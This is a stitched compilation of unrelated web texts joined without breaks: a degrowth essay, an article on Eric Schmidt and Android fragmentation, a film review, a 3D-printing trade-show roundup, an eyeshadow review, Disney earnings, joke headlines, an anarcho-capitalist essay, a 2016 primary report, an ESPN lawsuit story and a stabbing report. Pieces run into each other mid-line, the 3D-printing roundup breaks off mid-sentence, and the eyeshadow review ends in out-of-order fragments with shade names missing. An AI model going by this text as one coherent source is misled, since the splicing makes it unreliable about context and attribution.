What is socially/politically possible? It would be technically possible for many people in Sydney to get to work by public transport, but large numbers would not give up the convenience of their cars even if they saved money doing so. A beautiful, tiny, sufficient mud brick house could be built for less than $10,000 -- but most people would not want one.
The Jevons or "rebound” effect is the strong tendency for savings made possible by a technical advance to be spent on consuming more of the thing saved or something else. For instance if we found how to get twice the mileage per liter of petrol many would just drive a lot more, or spend the money saved on buying more of something else.
It should not be assumed that in general rapid, large or continuous technical gains are being routinely made in the relevant fields, especially in crucial areas such as energy efficiency. Ayres (2009) notes that for many decades there have been plateaus for the efficiency of production of electricity and fuels, electric motors, ammonia and iron and steel production. The efficiency of electrical devices in general has actually changed little in a century "...the energy efficiency of transportation probably peaked around 1960”. There is no increase in the overall energy efficiency of the US economy since 1960.
We tend not to hear about areas where technology is not solving problems, or appears to have been completely defeated.
The remarkable fall in the costs of PV panels is largely due to large subsidies, very cheap labor, and the general failure of the Chinese economy to pay ecological costs of production.
The significance of the new battery technology is clouded by the fact that costs would have to fall by perhaps two-thirds before they could be used for grid storage without greatly increasing the cost of power, and it is not likely that there is enough lithium to enable grid level storage of renewable energy.
Some claim that resource demand and ecological impact can be "decoupled” from economic growth in ways will enable the economy to keep growing and "living standards”, incomes and consumption to continue rising without increasing resource use or environmental damage.
The fact that the "energy intensity" (energy per unit of GDP) has declined within a country is often seen as evidence of decoupling, but this is misleading. The large amounts of energy (energy we benefit from) embodied in imports are not taken into account. Also, the same amount of energy produces more when we switch from coal to gas, for example. The gas is of a higher quality because it enables more work per unit. Gas is more easily transported, switched on and off, or converted from one function to another, etc.
In agriculture advance has been a matter of increased energy use. Over the last half century productivity measured in terms of yields per ha or per worker have risen dramatically, but these have been mostly due to even greater increases in the amount of energy being poured into agriculture, on the farm, in the production of machinery, in the transport, pesticide, fertilizer, irrigation, packaging and marketing sectors, and in getting the food from the supermarket to the front door, and then dealing with the waste food and packaging. Less than 2% of the US workforce is now on farms, but agriculture accounts for around 17% of all energy used.
There is undue optimism regarding what pure technical advance can achieve independently from increased energy inputs.
Energy itself is in serious decline, evident in data on EROI ratios. Several decades ago the expenditure of the energy in one barrel of oil could produce 30 barrels of oil, but now the ratio is around 18 and falling. The ratio of petroleum energy discovered to energy required has fallen from 1000/1 in 1919 to 5/1 in 2006. Murphy and others suspect that an industrialized society cannot be maintained on a general energy ratio under about 10.
So when we examine the issue of productivity growth we find little or no support for the general tech-fix faith. It is not the case that technical breakthroughs are constantly enabling significantly more to be produced per unit of inputs. The small improvements in productivity being made seem to be largely due to changes to more energy-intensive ways, and energy itself is exhibiting marked deterioration in productivity.
With minerals, the annual major deposit discovery rate fell from 13 to less than 1 between 1980 and 2008, while discovery expenditure went from about $1.5 billion a year. to $7 billion a year. Recent petroleum figures are similar; in the last decade or so discovery expenditure more or less trebled but the discovery rate has not increased.
Over recent decades the proportion of rich nation GDP that is made up of "financial” services has risen considerably. The "production” of "financial services" that takes the form of key strokes that move electrons around, much of which is wild speculation: making computer driven micro-second switches in "investments”. These operations deliver massive increases in income to banks and managers, commissions, loans, interest, consultancy fees. These make a big contribution to GDP figures. In one recent year 40% of US corporate profits came from the finance sector. This domain should not be included in estimates of productivity because it misleadingly inflates the numerator in the output/labour ratio.
So when looking at industries that use material and ecological inputs -- the ones that are causing the pressure on resources and ecosystems -- is significant decoupling taking place? Kowalski (2011) reports that between 1960 and 2010 world cereal production increased 250%, but nitrogen fertilizer use in cereal production increased 750%.
The ecomodernists look forward to shifting a large fraction of agriculture off land into intensive systems such as high rise greenhouses and acquaculture, massive use of desalination for water supply, processing lower grade ores, dealing with greatly increased amounts of industrial waste (especially mining waste), and constructing urban infrastructures for billions to live in as they propose shifting people from the land to allow more of it to be returned to nature. If renewable energy sources cannot provide these quantities of energy, their proposals would have to involve very large numbers of fourth generation nuclear reactors.
If 9 billion people were to live on the per capita amount of energy Americans now average, the nuclear generating capacity needed would be around 450 times as great as at present.
The ecomodernist's problem is not just about producing far more metals, it is about producing far more as grades decline, it is not just about producing much more food, it is about producing much more despite the fact that problems to do with water availability, soils, the nitrogen cycle, acidification, and carbon loss are getting worse.
It is a mistake to think that the way to solve our problems is to develop better technology. That will not solve the problems, because they are far too big, and they are being generated by trying to live in ways that generate impossible resource demands.
The solution is to move away from affluent, high energy, centralised, industrialised, globalised etc., systems and standards. Above all it requires a shift from obsession with getting rich, consuming and acquiring property. It requires a willing acceptance of frugality and sufficiency, of being content with what is good enough.
Hundreds of years ago we knew how to produce not just good enough but beautiful food, houses, cathedrals, clothes, concerts, works of art, villages and communities, using little more than hand tools and crafts. Of course we should use modern technologies including computers (if we can keep the satellites up there) where these make sense.
Problems having to do with social breakdown, depression, stress, and falling quality of life will not be solved by better technology, because they derive from faulty social systems and values. Technical advances often make these problems worse, e.g., by increasing the individual's capacity to live independently of others and community, and by enabling machines to cause unemployment.
Massive globally integrated professional and corporate run systems involving centralized control and global regulatory systems will not have a place for billions of poor people. It will enable a few super-smart techies, financiers and CEOs to thrive, making inequality far more savage, and it will set impossible problems for democracy because there will be abundant opportunities for those in the center to secure their own interests.LAS VEGAS--Google (NASDAQ:GOOG) Executive Eric Schmidt fanned the flames for claims against Android by denying that any fragmentation exists in the operating system.
Schmidt, who spoke during CNET's "The Next Big Thing in CE" event here at the 2012 Consumer Electronics Show, discussed Android, Microsoft, cloud computing and other topics the former Google CEO has been prone to weigh in on for the last few years.
When CNET host Molly Wood asked Schmidt specifically about Android fragmentation, Schmidt denied Android had any, explaining that Android had "differentiation." Schmidt explained the difference thusly; differentiation means OEMs will choose how to customize an open-source platform such as Android based on their view of innovation.
Fragmentation, he said, occurs when applications only run on one device but not others, locking users out of consuming those apps. Wood asked whether some of that was happening with Android.
Schmidt denied this, adding that Google's goal is to get everybody on Android 4.0 Ice Cream Sandwich, which merges the Android 2.x smartphone branch and the Android 3.x Honeycomb branch for tablets.
That answer suggests that there certainly was fragmentation in the past. Indeed, what Schmidt defined was a fine tailoring of what fragmentation means through the lens of Google. Each passing version of the platform--Android 2.0, 2.1, 2.2, 2.3--introduced additional complexities and ways for developers to tweak the code.
Google muddied the waters even more a year ago. Fearing the poor quality of Android apps built for the larger screen, the company went on to produce its Android 3.0 Honeycomb branch, only to come full circle and integrate the best features from both branches with ICS.
Many people in the industry call this progress fragmentation. Schmidt simply calls it differentiation. He added that Google allows OEMs to add or change user interfaces as long as they don't "break" apps. He also noted that some companies can choose to take Android and do what they wish with it. Amazon (NASDAQ:AMZN), he noted, did this with the Kindle Fire tablet.
The real theme of the CNET event, however, was the mobile ecosystem and how platforms such as Android fit into it. Schmidt said Google envisions a world where home networks leverage peer-to-peer networking technologies instead of a home media server to communicate with users' smartphones and tablets.
Schmidt explained that a user with an Android phone can come into their house, and the phone alerts the TV the user has arrived. He said Google TV is an example of "more devices in the home talking to each other."
This is no doubt a challenge Google's Android@Home team is working on to connect household appliances, such as stereo systems and refrigerators via WiFi.
On the subject of getting different products to communicate with one another, Wood asked about the ongoing integration of Google products, such as Google+ and Google search. She suggested Microsoft had a challenge putting all its Web services together into a cohesive unit.
Was Schmidt concerned Google would suffer a similar fate? That opened the door from this zinger: "Microsoft is trapped in an architectural problem they may not get through," Schmidt said, adding sarcastically: "Oh, I'm so sorry."
That structure is Windows, which Microsoft has struggled to extend in mobile. Google, he said, has the right architecture structure, which is cloud computing.15 October 2017 | gavin6942
7 | Not Quite as Good as the Original
An adaptation of the fairy tale about a monstrous-looking prince and a young woman who fall in love.
If you have one of the all-time greatest cartoons, there are things you can do with it. Turn it into a musical is one. But turn it into a live-action version with practically nothing changed (though a few scenes added) may not be your best idea. Especially if such a version relies on CGI and you have neither the time nor the ability to pull it off.
But if you are going to do it anyway, I suppose you could do much worse. Emma Watson was the ideal casting choice and no one else would have worked. No one. Josh Gad is spot on as LeFou. The Beast could be better, perhaps. My biggest casting complaint is Maurice. I suppose in this version he is less eccentric, but why is this the case? And why so tall? Kevin Kline is fantastic, but is he really Maurice?The formation of GE Additive was a signal that 3D printing really is moving into the mainstream manufacturing industry for end part production. Following that important indicator, RAPID+TCT 2017 may have been one of the biggest iterations of the North America’s largest additive manufacturing (AM) event to date. There was so much news from the event that we found it necessary to compile it all in one location here.
Desktop Metal
Perhaps the biggest announcement came just a week before RAPID+TCT 2017 actually kicked off. After years of hype, Desktop Metal finally unveiled its technology. Desktop Metal’s new technologies include an indirect metal 3D printing technology based on fused deposition modeling (FDM) and an inkjet metal 3D printing platform. At the event, Desktop Metal also announced that the systems would be made available through resellers of Stratasys, which was an early investor in the company. For more information about Desktop Metal’s technologies, read our coverage.
The DM Studio System is described as the first office friendly metal 3D printer. On the right is the microwave-enhanced sintering furnace. (Image courtesy of Desktop Metal.)
Stratasys
Stratasys is not only backing exciting new technologies, but also making its own. After the unveiling of two industrial-grade processes for large components and composites, the company showcased, at RAPID+TCT, the Continuous Build 3D Demonstrator. This platform is a cloud-controlled modular unit made up of multiple FDM 3D print cells that 3D print simultaneously to create parts continuously, without much human intervention, before parts are automatically ejected and the process for creating new parts begins.
The Continuous Build 3D Demonstrator is already being used by companies like FATHOM. (Image courtesy of Stratasys.)
This makes it possible to pursue mass customization and features such as automatic queue management to ensure that a workload is balanced across the print farm, so that if a job fails on one machine, another printer will start it again.
Beta customers have already begun using the platform, including Savannah College of Art and Design, as well as manufacturing service providers In’Tech Industries and FATHOM.
Blackbelt
Also expanding the envelope of 3D printing, literally and figuratively, is a start-up called Blackbelt, which is heading to Kickstarter on Friday May 12. The company gets its name from the black conveyor belt it uses to flip and extend the Z-axis out 1300 mm. This makes it possible to print objects 340mm x 340mm x 1300 mm in size, or longer when certain precautions are taken, or to 3D print a series of objects that can deposited into an attached bin when they are completed.
Impossible Objects
All of the aforementioned technologies are part of a larger trend to see 3D printing used as a manufacturing process instead of a prototyping tool. Among those attempting to execute such a vision is Impossible Objects, which, at RAPID+TCT 2017, launched the pilot version of its Model One composite 3D printer. The technology is a very interesting one that can combine fiber reinforcement material, like carbon fiber, with thermoplastics, like polyetheretherkeytone. Not only that, but the Model One has the potential to be sped up and scaled up, to enable the mass manufacturing of composite parts. For more information, read our interview with Impossible Objects.
The Model One 3D printer from Impossible Objects, which is currently sold to pilot customers, is one of the few composite 3D printers on the market capable of using a wide variety of reinforcement materials. (Image courtesy of Impossible Objects.)
3D Hybrid Solutions and Multiax International
In time for RAPID+TCT 2017, 3D Hybrid Solutions and Multiax International announced what the companies claimed is the largest metal 3D printer in the world with a build area of over 500 meters cubed and a print speed of 20 pounds per hour. In addition to 3D printing with a laser deposition head, the system has a built-in 5-axis CNC system from Multiax. 3D Hybrid Solutions will also be selling a multi-metal printing tool that is meant to add AM to any CNC machine. The announcement fits into an important trend of CNC manufacturers, particularly those building large machines, such as Ingersoll and Thermwood, which are creating hybrid AM capabilities.
3D Hybrid Solutions and Multiax International claim that this is the largest metal 3D printer in the world. (Image courtesy of 3D Hybrid Solutions.)
Essentium
After showcasing the technology at RAPID last year, Essentium Materials is now making its FlashFuse technology available to the public. FlashFuse relies on an electric welding technique and filament coated in energy-responsive carbon nanotubes to bring isotropy to parts printed with fused filament fabrication. Essentium also announced a partnership with chemical giant BASF to create materials for this process. To learn more about the technology and why isotropy is an important topic in 3D printing, read our interview with Essentium.
Paxis
Also at RAPID+TCT 2017 was the unveiling of Wave Applied Voxel (WAV) 3D printing from Paxis. Paxis is a spinout of 3D printing and engineering service provider CIDEAS. An early adopter of Carbon’s unique digital light processing (DLP) technology, CIDEAS spun out Paxis to develop its own DLP-style platform described as four, eight and 24 times the speed of large vat DLP systems. WAV is in the early stages of development, but the company claims that it will feature modular hardware expansion and can produce large parts or larger batches of small parts.
EnvisionTEC
The inventors of DLP, EnvisionTEC, also had news at the event: an LED engine upgrade to the company’s P4 line of DLP 3D printers. Replacing the mercury gas lamp in the Perfactory line, the LED engine increases the resolution of parts while also lowering operation costs. Whereas the cost per hour of the mercury gas lamp was $2.90 and lasted for 500 hours, the new LED system has a cost of $0.50 per hour and can run for 10,000 hours. Alongside the new hardware, EnvisionTEC also announced a range of new materials.
IC3D and Aleph Objects
In what should be exciting news for anyone who cares about the development of technology for progress over profits, Aleph Objects, makers of LulzBot 3D printers, and IC3D Industries, filament manufacturer, released what is described as the “first-ever certified open source” 3D printing filament.
These materials are claimed to be the first certified open-source filaments. (Image courtesy of Aleph Objects.)
As detailed in an article on ENGINEERING.com, the open-source movement is capable of increasing innovation, decreasing costs and improving lives. To help bring this philosophy to typically closed-source filament production, IC3D published a 16-page white paper documenting its manufacturing process, parameters and material grades on GitHub.
This will make it possible for those interested in experimenting with new types of materials to begin tinkering or even producing their own. Hopefully, IC3D goes on to make all of its materials open source and others follow suit.
SABIC
While IC3D was busy announcing the first open-source certified filaments for 3D printing, the world’s fourth largest chemical company, SABIC, announced a series of new materials, as well. In addition to a number of industrial filaments for Stratasys Fortus machines (ULTEM polyetherimide [PEI], CYCOLAC acrylonitrile-butadiene-styrene [ABS], and LEXAN polycarbonate [PC]), SABIC also unveiled a line of materials specifically designed for large format AM. The THERMOCOMP AM compounds were tested on the company’s own Big Area Additive Manufacturing (BAAM) system from Cincinnati Inc. They also include PEI, ABS and PC, as well as polyphenylene ether. SABIC suggests that the THERMOCOMP AM line exhibits good creep behavior and reduced deformation, including lower shrinkage during cooling. If true, these plastics will extend the material set for large format 3D printing, which will be increasingly used for automotive and aerospace applications.
Livrea and Autodesk
SABIC’s BAAM and its new line of materials were actually used to 3D print large-scale components for what will be the world’s first 3D-printed racing yacht, from Italian yacht company Livrea. In conjunction with Autodesk’s advanced research team, Livrea was able to convert drawn designs to CAD models, with unique geometries for weight reduction.
Livrea aims to have the yacht ready for the 2019 Mini Transat, a 4,000-mile transatlantic race that begins in |
again! Seriously!
~~ Whizdumb ~~
AdvertisementsNEW Ulta Beauty Rose Gold 12 Piece Natural Eye Shadow Palette
(retail: $20 at Ulta, 0.02 oz.)
There are six shimmer/glitters in this palette (top row) and six mattes (bottom row). This palette also comes with a full-size eyeshadow brush:
This brush is quite nice and I find it comparable to the brushes you find in Urban Decay palettes. The bristles are very soft and there's just the right amount of "fluff" to this brush to make it nice for both application and blending.
All shadows swatched over Too Faced Shadow Insurance:
The first four shades on the left side of this palette are the lighter, highlight shades. You get two shimmers and two mattes for highlighting. Champagne is the most pigmented of the four here, and the one I keep reaching for above the others. Pink, Prosecco and Bubbles are all sheer and lacking in pigmentation, even over primer, when compared to the rest of the colors in this palette. I think those three shades would work best for toning down deeper colors, as opposed to wearing them on their own. I do find that all four shades have a nice texture--no stiffness or chalkiness.
The four middle shades in this palette are nice for lid and transition. The texture of all four shades is quite nice--no stiff or difficult shades here, and the mattes in particular are buttery and smooth (as opposed to chalky and powdery). The pigmentation level is nice on these when worn over primer--when worn without primer they are a bit sheer. My favorites here are Breathless and Dessert (Breathless is such a nice transition shade). Hopeless Romantic and Chandelier both contain micro-glitter (hard to see in my pics) but it's not dense and there's very minimal fallout. The glitter is not chunky in either shade.
Below you will find my comparison of this palette to the Urban Decay Naked 3 palette, plus my final verdict on the Ulta Rose Gold Palette.
Urban Decay Naked 3 Palette: 0.6 oz total for $54 (approximately $90 per ounce)
Ulta Rose Gold Palette 0.24 oz total for $20 (approximately $83 per ounce) I'm terrible at math, but I believe that if you bumped up the size of the Ulta shadows to equal the size of the UD shadows, you'd pay about $49 for 0.6 oz using Ulta's pricing per oz. The Ulta shadows are still a bit less expensive, but you should also factor in that Ulta often runs sales on their house brand products, plus you can use their $3.50 off $10 coupon on Ulta house brand products on top of any sales to bring the price down even further. Example: Let's say Ulta was running a BOGOFREE sale on Ulta makeup (which they are often known to do) and you purchased two of these palettes for $20 total and you also used their $3.50 off $10 coupon. Your total out-of-pocket would be $16.50, which would make one palette $8.25. Get it? OK, moving on... The Ulta Rose Gold Palette contains 12 shades and each shadow is 0.02 oz. For comparison, the Urban Decay Naked 3 palette contains 12 shades and each shadow is 0.05 oz. Here's how that breaks down, cost-wise:
After using the Ulta Rose Gold palette for a few weeks now, I can tell you that this is NOT a shade-for-shade dupe of the UD Naked 3 palette, and I don't believe it's trying to be. As you can see above, there are six matte shades in the Ulta palette (the entire bottom row), while there are only three matte shades in UD Naked 3. There are several shades in the Ulta Rose Gold palette that do not have an obvious (or even less obvious) counterpart in the UD Naked 3 palette. The unique shades are mostly mattes, so if you're a matte lover and you own the UD Naked 3 palette, you might still find the Ulta Rose Gold palette enticing.
That said, here are some swatch comparisons of the shades that I did find similar in both palettes:
(All shadows swatched over Too Faced Shadow Insurance)
Same swatches, slightly different angles
As you can see, none of the Ulta shades are exact dupes for the UD shades above, but they are similiar. One thing I prefer about Ulta Hopeless Romantic and Chandelier versus UD Buzz and Trick is that the Ulta shades contain less glitter (my camera has a hard time picking up glitter, so it's hard to see in my pics). In person, there's a tiny bit of glitter in the two Ulta shades, whereas UD Buzz and Trick contain a good dose of glitter. I personally prefer less glitter in my shadows, so I like the Ulta shades a bit more.
As you can see, Ulta Dahlia and UD Blackheart are quite similar. However, if you look at the pic on the right, you can see that Ulta Breathless is a bit lighter than UD Nooner, while also a bit darker than UD Limit. In person, Ulta Dahlia is really right in the middle between the two, in terms of color. It's a lovely transition shade.
FINAL VERDICT: This palette is not a shade-for-shade dupe of Urban Decay Naked 3, nor do I believe it's trying to be. There are six mattes here, while UD Naked 3 contains three mattes. There are some unique matte shades here that I really love (such as Orchid, the deep matte gray with purple undertones) that have no counterpart in the UD Naked 3 palette. Is the Ulta Rose Gold Palette perfect? No. A few of the lighter shades on the left side of the palette are lacking in pigmentation and would probably be better used to tone down deeper shades than wear on their own. But all of the shadows in this palette have a nice, smooth consistency and the mattes in particular are buttery (not chalky), which I was very happy to discover since mattes can be tricky--especially in palettes. Also, the shimmers aren't super high on shimmer when blended out--they appear more like satins or satin-shimmers on the eye after blending. This could be a plus for you (if you prefer softer satins to intense shimmers) or a minus if you're looking for bold metallic colors. If you're drawn to rose-gold-themed shadows and prefer mattes and satins, I think this is one to consider (especially with sales and coupons as explained above!). If you already own UD Naked 3, I think this palette is still worth considering if you like mattes and satins in the same color family as UD Naked 3, since all of the shades in this palette play nicely with the shades in UD Naked 3. Also, the eyeshadow brush that comes with this palette is very nice and, in my opinion, comparable to the brushes that come with UD palettes.
Again, the Ulta Rose Gold Palette will be available at Ulta (in-store and online) starting February 1st, 2015. There will also be a warm-toned palette in this range and both palettes will retail for $20 each.
A sample of this product was given to Nouveau Cheap for editorial purposes, either directly from the manufacturer or from the agency that works on behalf of the manufacturer. All reviews on NouveauCheap.Blogspot.com are the honest opinion of its author and editorial samples do not, in any way, affect the outcome of product reviews. For more information, click here
I've got a very special sneak peek for you today of a brand new palette that will be available at Ulta starting February 1st, 2015. Actually, there are TWO palettes coming out on February 1st--I received the Rose Gold palette for review but there is also a warmer-toned palette in this new collection.The four shades on the right side of this palette are the deeper crease shades. Again, you get two shimmers and two mattes. I really love all four of these.is a shimmery pewter with a beautiful rose-gold sheen to it that you can't quite see in my photos, andis a blackened purple with pink micro-glitter (very pigmented and not stiff or dry like other shades of this nature).is a warm chocolate brown matte, whileis a deep matte gray with purple undertones. No issues at all with pigmentation over primer, and the texture of all four of these shades is lovely.All in all, I'm impressed with the texture of these shadows. Sometimes with affordable palettes, you find shadows that all seem to have the exact same finish, and sometimes the shadows can be stiff and powdery. There is definitely a distinction here between the shimmers and the mattes, and I find that most of the shadows in this palette have a nice, buttery consistency and work very well over primer. As I said above, some of the lighter shades are quite sheer, even over primer, but the mid-toned and deeper shades are all lovely over primer.One other thing I want to mention is that the shimmers and glitters in this palette do become more subtle when blended on the eye. To me, they become more satin-like as opposed to heavy shimmers or metallics. This could be a good thing if you are not big into shimmers or metallics, but I think that if you're looking for intense metallic eyeshadows, this palette is probably not for your since the shimmers here do read more as satins or satin-shimmers once you get them on the eye.CHICAGO (MarketWatch) — Improved advertising revenues at Walt Disney Co.’s television networks and the strong international video sales of “Toy Story 3” fueled a 54% surge in quarterly earnings, the company reported Tuesday, easily surpassing most analysts’ estimates.
The stock was up 3.5% at $42.63 in after-hours trading.
Burbank, Calif.-based Disney DIS, -0.08% said it earned $1.33 billion, or 68 cents a share, in the period ended Dec. 31, compared with a profit of $844 million, or 44 cents, in the same quarter a year earlier.
Revenue rose to $10.7 billion from $9.74 billion.
Analysts polled by Thomson Reuters were expecting a profit of 56 cents a share on sales of $10.5 billion.
At Disney’s cable networks, led by ESPN, operating profit jumped 42%, as the sports powerhouse commanded higher ad rates and sold more commercial time. Fees paid by cable, satellite and fiber operators also increased, due to more lucrative contracts.
Ad revenues increased at the ABC owned-and-operated TV stations, as well, part of an industry-wide rebound at the local level as automotive and financial services advertising has picked up.
Disney’s movie and TV studios saw earnings climb 54%, led by international DVD sales for “Toy Story 3.”
Theme parks and resorts income rose 25%, while consumer product earnings were better by 28%.This post was contributed by a community member.
Local NAACP Cancels Donald Sterling's Lifetime Achievement Award: The Los Angeles chapter of the NAACP announced that it has decided not give embattled Clippers owner Donald Sterling a Lifetime Achievement Award after racist statements attributed to him became public. If they need someone to fill in in a pinch, I hear Nevada rancher Cliven Bundy might be available.
Laptop Heat Danger to Legs: Doctors are warning consumers not to leave a warm laptops on their lap for too long because the skin on your legs can be burned by long-term heat exposure. You know there's a good chance your laptop may have heat issues when it includes a dial with settings for "warm, simmer and defrost."
http://www.johnnyrobish.com
Tomato Executive Pleads Guilty to Price Fixing: Frederick Scott Salyer, a member of one of California's best known farming families and the founder of SK Foods, has pleaded guilty to a scheme to inflate tomato product prices. After passing sentence, the judge asked Salyer "so how do you like them apples?"
Bill Gates Calls the Mosquito Deadliest Creature on Earth: According to the Bill Gates Foundation, the deadliest creature on earth is not humans, but the mosquito which kills 725,000 people a year and incapacitates another 200 million people. And that may be just "scratching" the surface.
http://www.johnnyrobish.com
California Hiker Killed by Oregon Hunter: A California man who was hiking in Oregon has been killed by a hunter who mistook him for a bear. Local officials say this senseless tragedy may have been prevented had the hiker not been wearing a "Cal Bears" sweatshirt.
Commissioner Silver Bans Sterling for Life from NBA: Commissioner Adam Silver announced that he has banned Los Angeles Clippers owner Donald Sterling for life from the NBA. Analysts are calling the decision pure "Sterling-Silver."Austin Anderholt | USA
Whenever I try to convince someone that taxation (and therefore government) is theft, I find the process is quite easy: I explain to them how a group of people with bigger guns than everyone else call themselves “The Government” demand that you pay them a certain amount of money that you never agreed upon, or else they will threaten to lock you in a cage. The debate may last a few minutes or even hours, but I eventually can convince most people that government is bad and that taxation is theft. At this point, almost every single person says the same exact thing: “But without government, who would build the roads?” Sometimes they ask how other government projects would be handled, but for some reason, most people seem to inquire about roads first. Nonetheless, people are amazed that one could hold the opinion that people shouldn’t be allowed to lock you in a cage if you don’t pay them the money that they demand. They treat anarchism like a bad word. They assume that a stateless society would be like some sort of Hollywood movie they’ve seen, and this view is completely false.
To the masses that have spent their lives on the highly addictive sedative that we call “The Government”, it may seem crazy that people could build roads and complete other tasks without someone pointing a gun at them and stealing from them. There’s a great political comic here, that shows people standing in a breadline in the Soviet Union, starving away. One of them says, “In Capitalist countries, the government doesn’t hand them any bread!” The people in that comic couldn’t possibly imagine a successful world where bread is distributed through capitalism and a voluntary society. This is very similar to the blindness that the current public has about things that the government does. For example, on the issue of Net Neutrality: Net Neutrality didn’t even exist until 2015. Do you remember a time where you had to pay money to big scary corporations to access all websites on the internet before 2015? Me neither, but the drug of government is so powerful that it’s victims start to assume that “If we don’t have someone controlling how we live, the greedy corporations will make it too expensive to pay for anything!” This is entirely false. Companies have to cater to the individual, or else they will fail. If I owned McDonalds, and I started charging a million dollars per hamburger, everyone would stop buying from me, and my company would fail. This is common sense; if companies want to be on top, they have to compete with each other for the lowest prices and best goods/services, in order to ensure that they’ll get repeat customers. No company would ever charge a huge toll for roads or internet or any other good or service you can think of, or else another company could just sell it for a cheaper price, and therefore get more business. Companies must cater to the customer to survive, and the idea of these “greedy corporations” is just plain false.
That being said, have you ever driven on a private road before? I’m sure you have. Did you have to pay a greedy corporation a huge toll to drive on it? Probably not. In fact, many toll roads are government roads. So, how would roads work? In one scenario, you have businesses competing for the cheapest road prices. Many of them might implement different policies, such as, “Our roads are safer because we don’t allow drunk driving” or, “Our roads are cheaper because we only make you pay one small price forever!” This would make roads extremely efficient, and it has worked in the past: The first American railroad was privately owned and built. Let’s say you were really afraid of these non-existent greedy corporations, and you didn’t want them owning your roads. You could crowdfund for monetary donations to build a road that you let everyone go on for free. It would be like taxation, but completely voluntary and with a significant lack of cages.
With that in mind, privatization would help everyone a great deal. Prices would shoot down for things like healthcare, education, and whatnot. Currently, we live in a system where the government has a forced monopolies on those items, and they can demand any amount of money they want for it. Due to this, they can be wasteful and inefficient, but private companies wouldn’t have that option. However, let’s say there’s a family that’s struggling to get by in a stateless economy, and they can’t afford these items. There are tons of huge private charities that are fighting to end things such as hunger and to give free checkups, showers, meals, etc. to people who are in need. Once taxation stops existing, and people’s paychecks aren’t being slashed in half, can you imagine how increasingly generous people would be in donating to these huge causes? Private charity for people in need would skyrocket!
In conclusion, a stateless society would thrive. As we’ve seen through times like the prohibition, public school, and the Middle East, government intervention almost indefinitely makes things worse. Private companies and charities will do much more good than anything currently being accomplished. A voluntary society is a better society!
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Like this: Like Loading...Republican U.S. presidential candidate Donald Trump speaks to supporters at his 2016 South Carolina presidential primary night victory rally in Spartanburg, South Carolina February 20, 2016.
REUTERS - Republican presidential candidate Donald Trump rolled to victory on Saturday in South Carolina in a contest that saw former Florida Governor Jeb Bush drop out.
The victory by Trump, who is running as an anti-establishment outsider, solidified his position as the front-runner to win his party's nomination ahead of the November 8 presidential election.
skip - S. Carolina primary: Trump's victory speech, Bush's resignation and Rubio's
S. Carolina primary: Trump's victory speech, Bush's resignation and Rubio's
The night's most prominent casualty, Bush suffered a distant fourth place finish in the Republican contest and announced he had suspended his campaign, ending his dream of becoming a third Bush president after his father and brother.
"The people of Iowa, New Hampshire and South Carolina have spoken, and I really respect their decision," an emotional Bush said in Columbia. He finished far out of the running in each of the first three states.
By winning both South Carolina and New Hampshire and holding leads in 13 states that hold Republican contests on March 1, Trump was arguably on track to win the nomination, an outcome that seemed astounding to contemplate when he entered the race last summer.
"It's going to be very difficult for him to be derailed at this point," said Hogan Gidley, who was a senior adviser to former Republican candidate Mike Huckabee.
The 69-year-old real estate billionaire and reality TV star was declared the winner in South Carolina about an hour after polls closed, and launched into a feisty victory speech.
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"Let's put this thing away," Trump told cheering supporters in Spartanburg.
He denounced TV pundits for saying there could be enough anti-Trump votes to beat him when the race thins further.
"These geniuses," he said. "They don't understand that as people drop out, I'm going to get a lot of those votes also. You don't just add them together."
Trump easily defeated Florida Senator Marco Rubio and Texas Senator Ted Cruz, who were in a close fight for second place and the right to declare themselves the anti-Trump alternative.
With 99 percent of South Carolina precincts reporting, Trump had 32.5 percent, followed by Rubio with 22.5 percent and Cruz with 22.3 percent.
Cruz's inability to distinguish himself from Rubio in the state was a blow to his campaign, which had invested heavily there to rally support among South Carolina's large population of evangelical voters.
Trump's victory won him at least 44 of the state's 50 delegates, bringing his delegate count to 61, compared to 11 for Cruz and 10 for Rubio, according to a tally by Real Clear Politics. Republicans need 1,237 delegates to win the party nomination.
It was Trump's second victory in a row, an outcome that frightens establishment Republicans but thrills the "throw-the-bums-out" conservative base of the party that has long been fed up with Washington.
Trump, who has also advocated a ban on Muslim immigrants to counter domestic terror threats, stirred fresh controversy on Friday when he told a crowd about a U.S. general who was said to have dipped bullets in pigs' blood to kill Muslim prisoners a century ago.ESPN, h/t Next Impuse Sports
Update: July 7, 2014 at 2:50 p.m. ET
The fan who was caught sleeping is suing ESPN for $10 million in damages. The Smoking Gun reported the details:
ESPN announcer Dan Shulman referred to the sleeping fan as “oblivious,” while John Kruk, the network’s color commentator, noted that the ballpark was “not the place you come to sleep.” Shulman also wondered whether the fan had slept through a third inning home run by Yankee Carlos Beltran (which, Shulman said, prompted the crowd of 45,000 to “stand up and cheer”). In his complaint, which was filed this month in State Supreme Court in the Bronx, Rector contends that he was subjected to an “unending verbal crusade” by the ESPN announcers. The comments caused Rector...emotional distress, according to the July 3 lawsuit.
Perhaps the most serious of the allegations are listed in point No. 10 on the document:
ESPN cameras focused on the plaintiff, Announcers like Dan Shulman and John Kruck unleashed avalanche of disparaging words against the person of and concerning the plaintiff. These words, include but not limited to'stupor, fatty, unintelligent, stupid.'
Sports Business Journal media reporter John Ourand tweeted out ESPN's response:
ESPN on the sleeping fan lawsuit: “The comments attributed to ESPN and our announcers were clearly not said in our telecast...(1/2) — John Ourand (@Ourand_SBJ) July 8, 2014
ESPN: "...The claims presented here are wholly without merit.” (2/2) — John Ourand (@Ourand_SBJ) July 8, 2014
Below is the original broadcast. The filed legal document can be read here.
Original Text
One fan at the AL East clash between the New York Yankees and the rival Boston Red Sox apparently wasn't too thrilled by the action.
Dude at the Yankees game dead sleep. pic.twitter.com/EqaKwoAcwb — Steve Noah (@Steve_OS) April 14, 2014
[MLB.com, Next Impulse Sports, Twitter]A St. Paul man is accused of repeatedly stabbing his sister in the face, neck and chest at their mother’s home Monday.
Pierre Davonne Ramsey, 25, was charged Tuesday with one count of second-degree attempted murder and a count of first-degree assault, according to the criminal complaint filed against him in Ramsey County District Court.
His 28-year-old sister was at their mother’s house in the 2100 block of Glenridge Avenue in St. Paul about 2:40 a.m. Monday to pick up her daughters after work when her mother reminded her that she had food inside the house, charges say.
Shortly after she ran inside to get it, one of her daughters looked up and saw her uncle attacking her mother on the front steps, the complaint said.
Police arrived at the house to find blood pooled on the living room floor and the woman seated nearby with a towel pressed to her throat.
She was taken by ambulance to the hospital, where she was treated for stab wounds to her neck, face, chest and left hand, charges say. One of the cuts to her face was 5 centimeters deep.
The injuries required surgery to her trachea, esophagus and left thumb, the complaint said. She will also need cosmetic surgery.
